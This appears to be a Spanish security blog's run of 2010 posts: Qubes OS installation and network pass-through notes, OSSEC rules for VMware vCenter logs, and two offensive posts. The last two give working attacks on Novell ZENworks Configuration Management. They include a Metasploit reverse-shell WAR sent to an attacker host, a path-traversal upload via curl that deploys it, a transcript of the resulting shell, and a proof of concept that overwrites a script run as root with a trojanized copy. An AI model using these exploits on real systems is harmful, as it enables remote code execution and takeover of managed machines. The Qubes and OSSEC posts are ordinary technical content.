13 mayo 2010

netvm de Qubes funcionando

Hola chica/s, por fin hemos conseguido hacer que funcione la netvm de Qubes en nuestro hardware.

Nuestra eth0 usa el módulo atl1c  en el bus PCI 08:00.0. Básicamente vamos a hacer que dom0 no haga uso de eth0 para hacer un pass-through del dispositivo y que sea visible (y usable :) por netvm.

Nos aseguramos que Qubes está arrancando con soporte VT-d.
[hielo@cubitera ~]$ xm dm | egrep 'DMAR|VMX'
(XEN) ACPI: DMAR BFF8E8C0, 0108 (r1 081309 DMAR1426 20090813 MSFT       97)
(XEN) VMX: Supported advanced features:
(XEN) HVM: VMX enabled

A los parámetros de arranque del kelmer añadimos:
iommu=pv iommu_inclusive_mapping=1 xen-pciback.hide=(08:00.0)

Creamos /etc/modprobe.d/xen-pciback.conf con:
options xen-pciback hide=(08:00.0) verbose_request=1
install atl1c /sbin/modprobe xen-pciback ; /sbin/modprobe --first-time --ignore-install atl1c

Ahora al cargar el módulo aparece en la salida de dmesg:
[root@cubitera ~]# dmesg -c
pciback 0000:08:00.0: seizing device
pciback 0000:08:00.0: enabling device (0000 -> 0003)
xen: registering gsi 17 triggering 0 polarity 1
xen_allocate_pirq: returning irq 17 for gsi 17
xen: --> irq=17
Already setup the GSI :17
pciback 0000:08:00.0: PCI INT A -> GSI 17 (level, low) -> IRQ 17

Configuramos Qubes para que use como default-netvm netvm en lugar de dom0.
[root@cubitera ~]# /etc/init.d/network stop
Shutting down interface wlan0:                             [  OK  ]
Shutting down loopback interface:                          [  OK  ]
Disabling IPv4 packet forwarding:  net.ipv4.ip_forward = 0
                                                           [  OK  ]
[root@cubitera ~]# qvm-set-default-netvm netvm
[root@cubitera ~]# /etc/init.d/network start
Bringing up loopback interface:                            [  OK  ]
Bringing up interface eth0:  Device eth0 does not seem to be present, delaying initialization.
                                                           [FAILED]
[root@cubitera ~]# qvm-ls 
---------------+----+---------+-------+------+-----------+--------+--------+
          name | on |   state | updbl | type |  template |  netvm |  label |
---------------+----+---------+-------+------+-----------+--------+--------+
        {dom0} |  * | Running |   Yes |  Net |       n/a |    n/a |   gray |
       {netvm} |    |  Halted |   Yes |  Net |       n/a |    n/a |    red |
 =>[linux-x64] |    |  Halted |   Yes |  Tpl |       n/a | *netvm |   gray |
      personal |    |  Halted |       |      | linux-x64 | *netvm | yellow |
[root@cubitera ~]# 

Y añadimos en /var/lib/quebes/servicevm/netvm.conf el parámetro de arranque del kernel:
iommu=soft

Ya tenemos a la VM personal recorriendo la peligrosa selva de internet a través de netvm.



-- 
Saludos de #linux, tu canal donde siempre hay un operador de guardia.

10 mayo 2010

Probando QubesOS

Os dejamos un vídeo de Qubes funcionando con dom0 como netvm, y una única AppVM, por ahora no tenemos quejas sobre el rendimiento (más allá de las propias de la virtualización y teniendo en cuenta que solo corremos una VM). En cuánto a la estabilidad, se nos ha colgado la VM en varias pruebas, hemos cerrado aplicaciones de la AppVM y se han quedado dibujadas las ventanas en el escritorio y nos hemos encontrado con procesos qubes_gui
colgados.




--
Saludos de #linux, tu canal de visionarios.

Instalando QubesOS en un stick eSATA SSD de 16 GiB

Hola HAMIJOS, hoy os vamos a enseñar como probar QubesOS instalándolo en un stick eSATA SSD de 16 GiB, o no, ahora lo descubriréis.

Lo primero que hacemos es bajarnos la versión de 64Bits de Fedora 12, la grabamos en un DVD, y la instalamos en el stick siguiendo la recomendaciones de paquetes que nos hacen en http://qubes-os.org/trac/wiki/InstallationGuide y asignamos todo el espacio disponible a / (no, no queremos swap) excepto 200MiB para /boot. Ánimo, que serán unos 10 clicks.

Una vez instalado Fedora 12 el disco nos queda así:
[hielo@cubitera ~]$ df -ah /
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/vg_cubitera-lv_root
15G  3.0G   11G  22% /
[hielo@cubitera ~]$


Siguiendo http://qubes-os.org/trac/wiki/InstallationGuide instalamos lo necesario para correr el XEN de ITL.
[root@cubitera ~]# wget http://qubes-os.org/keys/qubes-master-signing-key.asc
[root@cubitera ~]# wget http://qubes-os.org/keys/qubes-release-1-signing-key.asc
[root@cubitera ~]# rpm --import qubes-release-1-signing-key.asc # La wiki apunta a qubes-release-signing-key.asc
[root@cubitera ~]# wget http://qubes-os.org/yum/qubes.repo
[root@cubitera ~]# mv qubes.repo /etc/yum.repos.d/
[root@cubitera ~]# yum install kernel-qubes-dom0
=============================================================================================================
Package                    Arch               Version                             Repository           Size
=============================================================================================================
Installing:
kernel                     x86_64             2.6.32.9-7.pvops0.qubes             qubes                21 M
Installing for dependencies:
PyXML                      x86_64             0.8.4-17.fc12                       updates             906 k
SDL                        x86_64             1.2.13-11.fc12                      updates             193 k
bridge-utils               x86_64             1.2-8.fc12                          fedora               27 k
qemu-common                x86_64             2:0.11.0-13.fc12                    updates             213 k
qemu-img                   x86_64             2:0.11.0-13.fc12                    updates             121 k
xen                        x86_64             3.4.3.rc3-1.qubes                   qubes               898 k
xen-hypervisor             x86_64             3.4.3.rc3-1.qubes                   qubes               2.9 M
xen-libs                   x86_64             3.4.3.rc3-1.qubes                   qubes               166 k
xen-runtime                x86_64             3.4.3.rc3-1.qubes                   qubes               4.0 M


Y como tenemos una Nvidia, seguimos http://qubes-os.org/trac/wiki/NvidiaTroubleshooting (lástima, con lo chulo que es arrancar X sin el dichoso xorg.conf)

Reiniciamos la cubitera y nos preparamos para instalar los paquetes de Qubes y el entorno.
[root@cubitera ~]# yum install qubes-core-dom0 qubes-gui-dom0 qubes-dom0-cleanup

=============================================================================================================
Package                         Arch                Version                      Repository            Size
=============================================================================================================
Installing:
qubes-core-dom0                 x86_64              1.0.1-1                      qubes                1.5 M
qubes-dom0-cleanup              x86_64              0.2.2-1                      qubes                4.6 k
qubes-gui-dom0                  x86_64              1.0.0-1                      qubes                 28 k
Installing for dependencies:
python-daemon                   noarch              1.5.2-1.fc12                 updates               27 k
python-inotify                  noarch              0.8.8-1.fc12                 updates               46 k
python-lockfile                 noarch              0.8-1.fc12                   fedora                16 k

Transaction Summary
=============================================================================================================


Para que nuestro luser pueda arrancar las VMs
[root@cubitera ~]# usermod -a -G qubes hielo


Para que podamos ver p0rn en konqueror mientras seguimos con el siguiente pasito...
[root@cubitera ~]# qvm-set-default-netvm dom0


Nos toca otro reinicio de cubitera (¡ésto parece windows!) y después viene el lío de instalar las VMs que nos proporciona ITL en el -al parecer- poco espacio en disco que nos queda (+/-10.5 GiB).

Atentos al tamaño de descarga de la plantilla para VMs personales y de su netvm
[root@cubitera ~]# yum install qubes-template-linux-x64 qubes-servicevm-netvm
=============================================================================================================
Package                                Arch                 Version               Repository           Size
=============================================================================================================
Installing:
qubes-servicevm-netvm                  noarch               1.0.0-1               qubes               613 M
qubes-template-linux-x64               noarch               1.0.0-1               qubes               1.6 G

Transaction Summary
=============================================================================================================


Cancelamos la instalación para descargar e instalar cada paquete por separado y como no tenemos mucho disco, pero si algo de RAM (4 GiB) vamos a descargar los RPMs directamente en memoria.
[root@cubitera ~]# df -ah /dev/shm
Filesystem            Size  Used Avail Use% Mounted on
tmpfs                 1.5G  2.0M  1.5G   1% /dev/shm
[root@cubitera ~]# mount -o remount,size=2G /dev/shm
[root@cubitera ~]# df -ah /dev/shm
Filesystem            Size  Used Avail Use% Mounted on
tmpfs                 2.0G  2.0M  3.0G   1% /dev/shm
[root@cubitera ~]# yumdownloader qubes-template-linux-x64 --destdir=/dev/shm


Es el momento de ver p0rn en nuestro flamante konqueror del Dom0.
[root@cubitera ~]# rpm -ivh /dev/shm/qubes-template-linux-x64-1.0.0-1.noarch.rpm


En /var/lib/qubes/vm-templates/linux-x64 va copiando ficheros root.img.part.YZ (hasta 5), para luego juntarlos todos en root.img, pero claro, los part ya ocupan +/-5GiB y el fichero resultante -root.img- va a ocupar ¡10 GiB!. Como el post-script del RPM no tiene control de errores, el tar falla indicando que no queda espacio libre, pero continua la ejecución del script.

------------[ Erroes en la instalación del RPM ]------------
tar: linux-x64-root.img: Cannot write: No space left on device
tar: Exiting with failure status due to previous errors
------------[ template.spec ]------------
cat %{dest_dir}/root.img.part.* | tar --sparse -xf - -C %{dest_dir}
rm -f %{dest_dir}/root.img.part.*


Ya tenemos qubes-template-linux-x64 instalado aunque con un precioso root.img corrupto y es aquí donde no hacemos honor al título del post, vamos a dejar a root.img fuera del stick SSD, en un disco interno.

Extraemos las partes del root.img del RPM en /var/tmp
[root@cubitera tmp]# rpm2cpio - < /dev/shm/qubes-template-linux-x64-1.0.0-1.noarch.rpm | cpio -idmv \
./var/lib/qubes/vm-templates/linux-x64/root.img.part.*
./var/lib/qubes/vm-templates/linux-x64/root.img.part.04
./var/lib/qubes/vm-templates/linux-x64/root.img.part.03
./var/lib/qubes/vm-templates/linux-x64/root.img.part.02
./var/lib/qubes/vm-templates/linux-x64/root.img.part.01
./var/lib/qubes/vm-templates/linux-x64/root.img.part.00
10440633 blocks


Montamos una partición del HDD interno en /media, unimos las partes dentro del HDD, hacemos limpieza y dejamos los permisos configurados para que el luser pueda leer y escribir en root.img
[root@cubitera tmp]# mount /dev/sda9 /media && mkdir /media/tmpqubes
[root@cubitera tmp]# cat ./var/lib/qubes/vm-templates/linux-x64/root.img.part.* | tar --sparse -xf - -C /media/tmpqubes/
[root@cubitera tmp]# rm -rf ./var
[root@cubitera tmp]# chown root.qubes /media/tmpqubes/linux-x64-root.img
[root@cubitera tmp]# chmod 0660 /media/tmpqubes/linux-x64-root.img
[root@cubitera tmp]# cd /var/lib/qubes/vm-templates/linux-x64/
[root@cubitera linux-x64]# ll
total 4884100
drwxrwxr-x 2 root qubes      20480 2010-05-09 21:09 apps
drwxrwxr-x 2 root qubes      12288 2010-05-09 21:09 apps.templates
-rw-rw---- 1 root qubes        478 2010-04-05 22:57 appvm-template.conf
lrwxrwxrwx 1 root root          35 2010-05-09 21:24 icon.png -> /usr/share/qubes/icons/template.png
drwxrwx--- 2 root qubes       4096 2010-05-09 21:09 kernels
-rw-rw---- 1 root qubes        515 2010-04-05 22:57 linux-x64.conf
-rw-rw---- 1 root qubes 2147483648 2010-05-09 21:24 private.img
-rw-rw---- 1 root qubes 5434949632 2010-04-05 22:48 root.img   # ¡CORRUPTO!
-rw-rw---- 1 root qubes        540 2010-04-05 22:57 templatevm.conf
[root@cubitera linux-x64]# ln -sf /media/tmpqubes/linux-x64-root.img root.img
[root@cubitera linux-x64]# ll
total 99036
drwxrwxr-x 2 root qubes      20480 2010-05-09 21:09 apps
drwxrwxr-x 2 root qubes      12288 2010-05-09 21:09 apps.templates
-rw-rw---- 1 root qubes        478 2010-04-05 22:57 appvm-template.conf
lrwxrwxrwx 1 root root          35 2010-05-09 21:24 icon.png -> /usr/share/qubes/icons/template.png
drwxrwx--- 2 root qubes       4096 2010-05-09 21:09 kernels
-rw-rw---- 1 root qubes        515 2010-04-05 22:57 linux-x64.conf
-rw-rw---- 1 root qubes 2147483648 2010-05-09 21:24 private.img
lrwxrwxrwx 1 root root          34 2010-05-09 21:29 root.img -> /media/tmpqubes/linux-x64-root.img
-rw-rw---- 1 root qubes        540 2010-04-05 22:57 templatevm.conf
[root@cubitera linux-x64]#


Pues si HAMIJOS, el template que nos presentan ocupa 10 GiB. (Nos ha parecido escuchar en alguna ocasión a JR decir que las apps-vms deberían ocupar unos 400 MiB)
[root@cubitera ~]# fdisk -l /media/tmpqubes/linux-x64-root.img

Disk /media/tmpqubes/linux-x64-root.img: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000749d4

Device Boot      Start         End      Blocks   Id  System
/media/tmpqubes/linux-x64-root.img1   *           1        1178     9458381   83  Linux
Partition 1 has different physical/logical endings:
phys=(1023, 254, 63) logical=(1177, 132, 4)
/media/tmpqubes/linux-x64-root.img2            1178        1305     1024000   82  Linux swap / Solaris
Partition 2 has different physical/logical beginnings (non-Linux?):
phys=(1023, 254, 63) logical=(1177, 132, 5)
Partition 2 has different physical/logical endings:
phys=(1023, 254, 63) logical=(1304, 254, 63)
[root@cubitera tmp]#


Y no os olvidéis de instalar qubes-servicevm-netvm, durante el proceso podéis, por ejemplo, ver p0rn

Ahora nos toca crear una app-vm, aunque ya sin la ilusión de poder llevarnos el stick a 'cualquier' PC para arrancar nuestro Qubes megaseguro.
[root@cubitera ~]# df -ah /
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/vg_cubitera-lv_root
15G  9.7G  4.3G  70% /
[root@cubitera ~]#
[hielo@cubitera tmp]$ qvm-ls
---------------+----+---------+-------+------+-----------+-------+--------+
name | on |   state | updbl | type |  template | netvm |  label |
---------------+----+---------+-------+------+-----------+-------+--------+
{dom0} |  * | Running |   Yes |  Net |       n/a |   n/a |   gray |
{netvm} |    |  Halted |   Yes |  Net |       n/a |   n/a |    red |
=>[linux-x64] |    |  Halted |   Yes |  Tpl |       n/a | *dom0 |   gray |
[hielo@cubitera tmp]$
[hielo@cubitera ~]$ id
uid=500(hielo) gid=500(hielo) groups=500(hielo),501(qubes)
[hielo@cubitera ~]$ qvm-create personal --label yellow
--> Using default TemplateVM: linux-x64
--> Creating directory: /var/lib/qubes/appvms/personal
--> Creating the VM config file: /var/lib/qubes/appvms/personal/personal.conf
--> Copying the template's private image: /var/lib/qubes/vm-templates/linux-x64/private.img
--> Creating icon symlink: /var/lib/qubes/appvms/personal/icon.png -> /usr/share/qubes/icons/yellow.png
--> Converting Appmenu Templates...
--> Adding Apps to the Menu...
[hielo@cubitera ~]$ du -sh /var/lib/qubes/appvms/personal
2.7M    /var/lib/qubes/appvms/personal
[hielo@cubitera ~]$ ls -lh /var/lib/qubes/appvms/personal
total 888K
drwxrwxr-x 2 hielo hielo  16K 2010-05-09 01:47 apps
lrwxrwxrwx 1 hielo hielo   33 2010-05-09 01:47 icon.png -> /usr/share/qubes/icons/yellow.png
-rw-rw-r-- 1 hielo hielo  619 2010-05-09 01:47 personal.conf
-rw-rw---- 1 hielo hielo 2.0G 2010-05-09 01:47 private.img
[hielo@cubitera ~]$ qvm-ls
---------------+----+---------+-------+------+-----------+-------+--------+
name | on |   state | updbl | type |  template | netvm |  label |
---------------+----+---------+-------+------+-----------+-------+--------+
{dom0} |  * | Running |   Yes |  Net |       n/a |   n/a |   gray |
{netvm} |    |  Halted |   Yes |  Net |       n/a |   n/a |    red |
=>[linux-x64] |    |  Halted |   Yes |  Tpl |       n/a | *dom0 |   gray |
personal |    |  Halted |       |      | linux-x64 | *dom0 | yellow |
[hielo@cubitera ~]$


Y ya podemos arrancar cualquier aplicación de la VM personal. Por el momento no vamos a usar la VM netvm ya que estamos teniendo pequeños problemas técnicos con nuestro VT-d.

Fatal DMA error! Please use 'swiotlb=force'
------------[ cut here ]------------
kernel BUG at drivers/pci/xen-iommu.c:227!
invalid opcode: 0000 [#1] SMP


Podemos decir que el proceso de instalación no es demasiado duro para ser una versión alfa, la falta de espacio en el stick SSD la ha complicado algo. De lo que estamos seguros es que una VM de 10 GiB no tiene cabida ni en una versión beta.

Próximamente colgaremos vídeos de como funciona el invento y si $DEITY quiere, haremos funcionar la VM netvm.

--
Saludos de #linux, tu canal con versionitis.

30 abril 2010

Reglas de OSSEC para vpxd





Ejemplo cutre de decoder/rules para que OSSEC entienda el vpxd.log de VMWare Virtual Center (Probado en vCenter 4).

Decoder

<!-- VMWare Virtual Center vpxd logs.
- [2010-04-29 13:42:52.048 03572 warning 'Libs'] SSLVerifyCertAgainstSystemStore: The remote host certificate has these problems:
- [2010-04-29 11:46:47.101 02144 info 'App'] [Auth]: User DOMAIN\luser
- [2010-04-29 13:54:54.406 02656 info 'App'] Unable to log on locally as DOMAIN\Administrator, so switched to NETWORK-style logon
-->

<decoder name="vpxd">
<prematch>^[\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d.\d\d\d \d+ </prematch>
</decoder>

<decoder name="vpxd-extra">
<parent>vpxd</parent>
<regex offset="after_parent">^(\w+) '\w+'] (\.+)</regex>
<order>status, extra_data</order>
</decoder>



Rules

<!-- VMWare Virtual Center vpxd -->
<group name="vpxd,">
<rule id="19200" level="0">
<decoded_as>vpxd</decoded_as>
<description>VMWare Virtual Center vpxd messages grouped.</description>
</rule>
<rule id="19201" level="4">
<if_sid>19200</if_sid>
<status>^warning</status>
<description>VMWare Virtual Center vpxd warning message.</description>
</rule>

<rule id="19202" level="8">
<if_sid>19200</if_sid>
<status>^error</status>
<description>VMWare Virtual Center vpxd error message.</description>
</rule>

<rule id="19203" level="0">
<if_sid>19200</if_sid>
<status>^info</status>
<description>VMWare Virtual Center vpxd info message.</description>
</rule>

<!-- Authentication messages. -->
<rule id="19204" level="3">
<if_sid>19203</if_sid>
<match>[Auth]: User</match>
<description>VMWare Virtual Center vpxd authentication success.</description>
<group>authentication_success,</group>
</rule>

<rule id="19205" level="5">
<if_sid>19203</if_sid>
<match>Unable to log on locally as</match>
<description>VMWare Virtual Center vpxd NETWORK-style logon.</description>
<group>authentication_failed,</group>
</rule>

<!-- SSL errors. -->

<rule id="19206" level="5">
<if_sid>19201</if_sid>
<match>SSLVerifyCertAgainstSystemStore</match>
<description>VMWare Virtual Center vpxd SSL error.</description>
<group>system_error,</group>
</rule>
</group> <!-- VMWare Virtual Center vpxd -->
<!-- EOF -->



--
Saludos de #linux, tu canal comunitario.

28 abril 2010

Shell inversa con ficheros WAR

Creamos el WAR con metasploit.

luser$ ./msfpayload linux/x86/shell_reverse_tcp LHOST=10.31.33.7 LPORT=443 w > shell_reverse_tcp.war
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_reverse_tcp
Length: 71
Options: LHOST=10.31.33.7,LPORT=443


Listamos el contenido del WAR para conocer e nombre del fichero al que tendremos rlanzar la petición HTTP.

luser$ unzip -l shell_reverse_tcp.war
Archive: shell_reverse_tcp.war
Length Date Time Name
-------- ---- ---- ----
71 04-28-10 22:40 META-INF/MANIFEST.MF
0 04-28-10 22:40 WEB-INF/
285 04-28-10 22:40 WEB-INF/web.xml
1582 04-28-10 22:40 mcyowonbnhrqsyy.jsp
310 04-28-10 22:40 wNaoQNtbYmK.txt
-------- -------
2248 5 files


En otro terminal como root para que se pueda asociar al TCP/443...

root# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=10.31.33.7 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 10.31.33.7:443
[*] Starting the payload handler...


Subimos el WAR.

luser$ curl -ivkl 'http://zcm.server/zenworks-fileupload/?type=application/octet-stream/../../../../../../../opt/novell/zenworks/share/tomcat/webapps&filename=zenw.war&overwrite=true' --data-binary @./shell_reverse_tcp.war -H "Content-Type: application/octet-stream"


Realizamos la petición HTTP para iniciar la shell inversa.

luser$ curl -ivkl 'http://zcm.server/zenw/mcyowonbnhrqsyy.jsp'


Y mágicamente en el terminal con el msfcli nos aparece la conexión.


[*] Command shell session 1 opened (10.31.33.7:443 -> 10.1.2.3:41221)

whoami
zenworks
pwd
/
netstat -putan | grep 443
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 10.1.2.3:41221 10.31.33.7:443 ESTABLISHED 4519/sh
pstree
init─┬─acpid
├─console-kit-dae───63*[{console-kit-dae}]
├─cron
├─dbus-daemon
├─java───17*[{java}]
├─java───39*[{java}]
├─jsvc───jsvc─┬─sh
│ └─78*[{jsvc}]
├─klogd




--
Saludos de #linux, tu canal de script kiddies

27 abril 2010

PdC de ZDI-10-078


# Exploit Title: ZDI-10-078: Novell ZENworks Configuration Management UploadServlet Remote Code Execution Vulnerability
# Date: 2009-04-26
# Author: tucanalamigo http://tucanalamigo.blogspot.com
# Software Link: http://www.novell.com/products/zenworks/configurationmanagement/
# Version: 10.2
# Tested on: GNU/Linux (SLES11)


* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
PoC for vulnerability discovered by Stephen Fewer (www.harmonysecurity.com)
http://www.zerodayinitiative.com/advisories/ZDI-10-078/
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

You can overwrite any file owned by zenworks user (nearly all /opt/novell) such as /opt/novell/zenworks/bin/daemon-monitor that is a shell script executed by Novell ZENworks Daemon Monitor (/etc/init.d/novell-zenmntr) and "of course" running as root...


$ ls -l /opt/novell/zenworks/bin/daemon-monitor
-rw-rw-r-- 1 zenworks zenworks 554 XXXX-YY-ZZ 69:69 /opt/novell/zenworks/bin/daemon-monitor
$ cat /opt/novell/zenworks/bin/daemon-monitor
SERVICES=`awk -F= '{ if ($1 == # "services") print $2}' /etc/opt/novell/zenworks/monitor.conf`
SLEEPTIME=`awk -F= '{ if ($1 == "sleep") print $2}' /etc/opt/novell/zenworks/monitor.conf`

echo $SERVICES
echo $SLEEPTIME

if [ -z "$SERVICES" ]; then
echo "No services defined in /etc/opt/novell/zenworks/monitor.conf"
exit 1
fi

if [ -z "$SLEEPTIME" ]; then
SLEEPTIME=10
fi

while [ 1 ]; do
sleep $SLEEPTIME
for SRV in $SERVICES; do
/etc/init.d/$SRV status >/dev/null 2>&1 || /etc/init.d/$SRV start
( date ; id ) >> /tmp/monitor.log 2>&1
done
done
$


You can change /opt/novell/zenworks/bin/jsvc (Java Virtual Machine), upload a new remoteshell.war on /opt/novell/zenworks/share/tomcat/webapps or use
imagination to take control of all machines configured in ZCM.

PoC: Upload your own daemon-monitor (./daemon-monitor.troyanizado):


$ curl -ivkl 'http://zcm.server/zenworks-fileupload/?type=application/octet-stream/../../../../../../../opt/novell/zenworks/bin/&filename=daemon-monitor&overwrite=true' --data-binary @./daemon-monitor.troyanizado -H "Content-Type: application/octet-stream"
* About to connect() to zcm.server port 80 (#0)
* Trying 127.11.22.33... connected
* Connected to zcm.server (127.11.22.33) port 80 (#0)
> POST /zenworks-fileupload/?type=application/octet-stream/../../../../../../../opt/novell/zenworks/bin/&filename=daemon-monitor&overwrite=true HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.6.2 zlib/1.2.3 libidn/1.9 libssh2/1.2.2
> Host: zcm.server
> Accept: */*
> Content-Type: application/octet-stream
> Content-Length: 554
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: Apache-Coyote/1.1
Server: Apache-Coyote/1.1
< Content-Length: 0
Content-Length: 0
< Date: Mon, 26 Apr 2010 21:58:05 GMT
Date: Mon, 26 Apr 2010 21:58:05 GMT


* Connection #0 to host zcm.server left intact
* Closing connection #0
$



--
Saludos de #linux, tu canal amigo.